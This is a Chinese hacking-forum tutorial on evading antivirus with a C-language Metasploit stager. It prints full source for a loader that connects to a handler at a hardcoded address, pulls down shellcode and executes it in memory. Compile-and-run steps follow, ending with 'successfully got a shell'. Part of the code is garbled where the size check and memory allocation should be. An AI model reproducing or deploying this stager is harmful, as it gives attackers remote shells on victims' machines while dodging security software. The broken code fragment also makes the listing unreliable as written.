搜索
查看: 1299|回复: 0

通过MSF加载器绕过AV

[复制链接]

598

主题

876

帖子

2235

积分

管理员

本论坛第一帅

Rank: 9Rank: 9Rank: 9

积分
2235

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2020-11-18 11:32:36 | 显示全部楼层 |阅读模式

环境

  • Dev C ++
  • kali 2020

    获取

    Dev C ++ 新建一个 Project 命名为Loader64 并将文件另存为 Loader64

将 Project 设置为 C Project,将应用程序设置为Console Application。从命令行执行 44.jpg

粘贴下面代码

/*
 * A C-based stager client compat with the Metasploit Framework
 *    based on a discussion on the Metasploit Framework mailing list
 *
 * @author Raphael Mudge (raffi@strategiccyber.com)
 * @license BSD License.
 *
 * Relevant messages:
 * * http://mail.metasploit.com/piper ... ptember/008660.html
 * * http://mail.metasploit.com/piper ... ptember/008664.html
 */

#include 
#include 
#include 
#include 

/* init winsock */
void winsock_init() {
        WSADATA        wsaData;
        WORD                 wVersionRequested;

        wVersionRequested = MAKEWORD(2, 2);

        if (WSAStartup(wVersionRequested, &wsaData) < 0) {
                printf("ws2_32.dll is out of date.\n");
                WSACleanup();
                exit(1);
        }
}

/* a quick routine to quit and report why we quit */
void punt(SOCKET my_socket, char * error) {
        printf("Bad things: %s\n", error);
        closesocket(my_socket);
        WSACleanup();
        exit(1);
}

/* attempt to receive all of the requested data from the socket */
int recv_all(SOCKET my_socket, void * buffer, int len) {
        int    tret   = 0;
        int    nret   = 0;
        void * startb = buffer;
        while (tret < len) {
                nret = recv(my_socket, (char *)startb, len - tret, 0);
                startb += nret;
                tret   += nret;

                if (nret == SOCKET_ERROR)
                        punt(my_socket, "Could not receive data");
        }
        return tret;
}

/* establish a connection to a host:port */
SOCKET wsconnect(char * targetip, int port) {
        struct hostent *                target;
        struct sockaddr_in         sock;
        SOCKET                         my_socket;

        /* setup our socket */
        my_socket = socket(AF_INET, SOCK_STREAM, 0);
        if (my_socket == INVALID_SOCKET)
                punt(my_socket, "Could not initialize socket");

        /* resolve our target */
        target = gethostbyname(targetip);
        if (target == NULL)
                punt(my_socket, "Could not resolve target");


        /* copy our target information into the sock */
        memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
        sock.sin_family = AF_INET;
        sock.sin_port = htons(port);

        /* attempt to connect */
        if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
                punt(my_socket, "Could not connect to target");

        return my_socket;
}


int main(int argc, char * argv[]) {
        ULONG32 size;
        char * buffer;
        void (*function)();

        winsock_init();

        if (argc != 3) {
                printf("%s [host] [port]\n", argv[0]);
                exit(1);
        }

        /* connect to the handler */
        SOCKET my_socket = wsconnect("192.168.123.33", 5555);

        /* read the 4-byte length */
        int count = recv(my_socket, (char *)&size, 4, 0);
        if (count != 4 || size       mov edi, 0x12345678 */
        buffer[0] = 0x48;
        buffer[0] = 0xBF;

        /* copy the value of our socket to the buffer */
        memcpy(buffer + 2, &my_socket, 8);

        /* read bytes into the buffer */
        count = recv_all(my_socket, buffer + 10, size);

        /* cast our buffer as a function and call it */
        function = (void (*)())buffer;
        function();

        return 0;
}

修改SOCKET my_socket = wsconnect("192.168.123.33", 5555);为你的IP和端口。 编译选项中添加-lws2_32 66.jpgF9 编译并在msf中监听! 在cmd中执行下面命令

Loader64.exe 192.168.123.33 5555

成功得到shell

免杀效果

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

温馨提示
1:发帖请遵守《中华人民共和国网络安全法》,发帖内容不得维护国家的、集体的、个人的利益。
2:请勿发布恶意攻击他人的技术文章、工具、和使用教程,发现后删帖处理。
3:本站的目的在于让更多的人了解网络安全,避免受到他人的恶意攻击。
4:本站中的部分文章,可能会出现一些“技术类手段”,但这仅仅为学习演示所用,而非恶意传播技术。
5:本站中的部分文章,可能转载自互联网。如有侵权行为,联系我们删除即可。
6:学习仅是充实头脑,切勿恶意攻击个人、企业等。所造成的法律后果一切由自己承担,本站及其站长概不负责。
朕知道了
快速回复 返回顶部 返回列表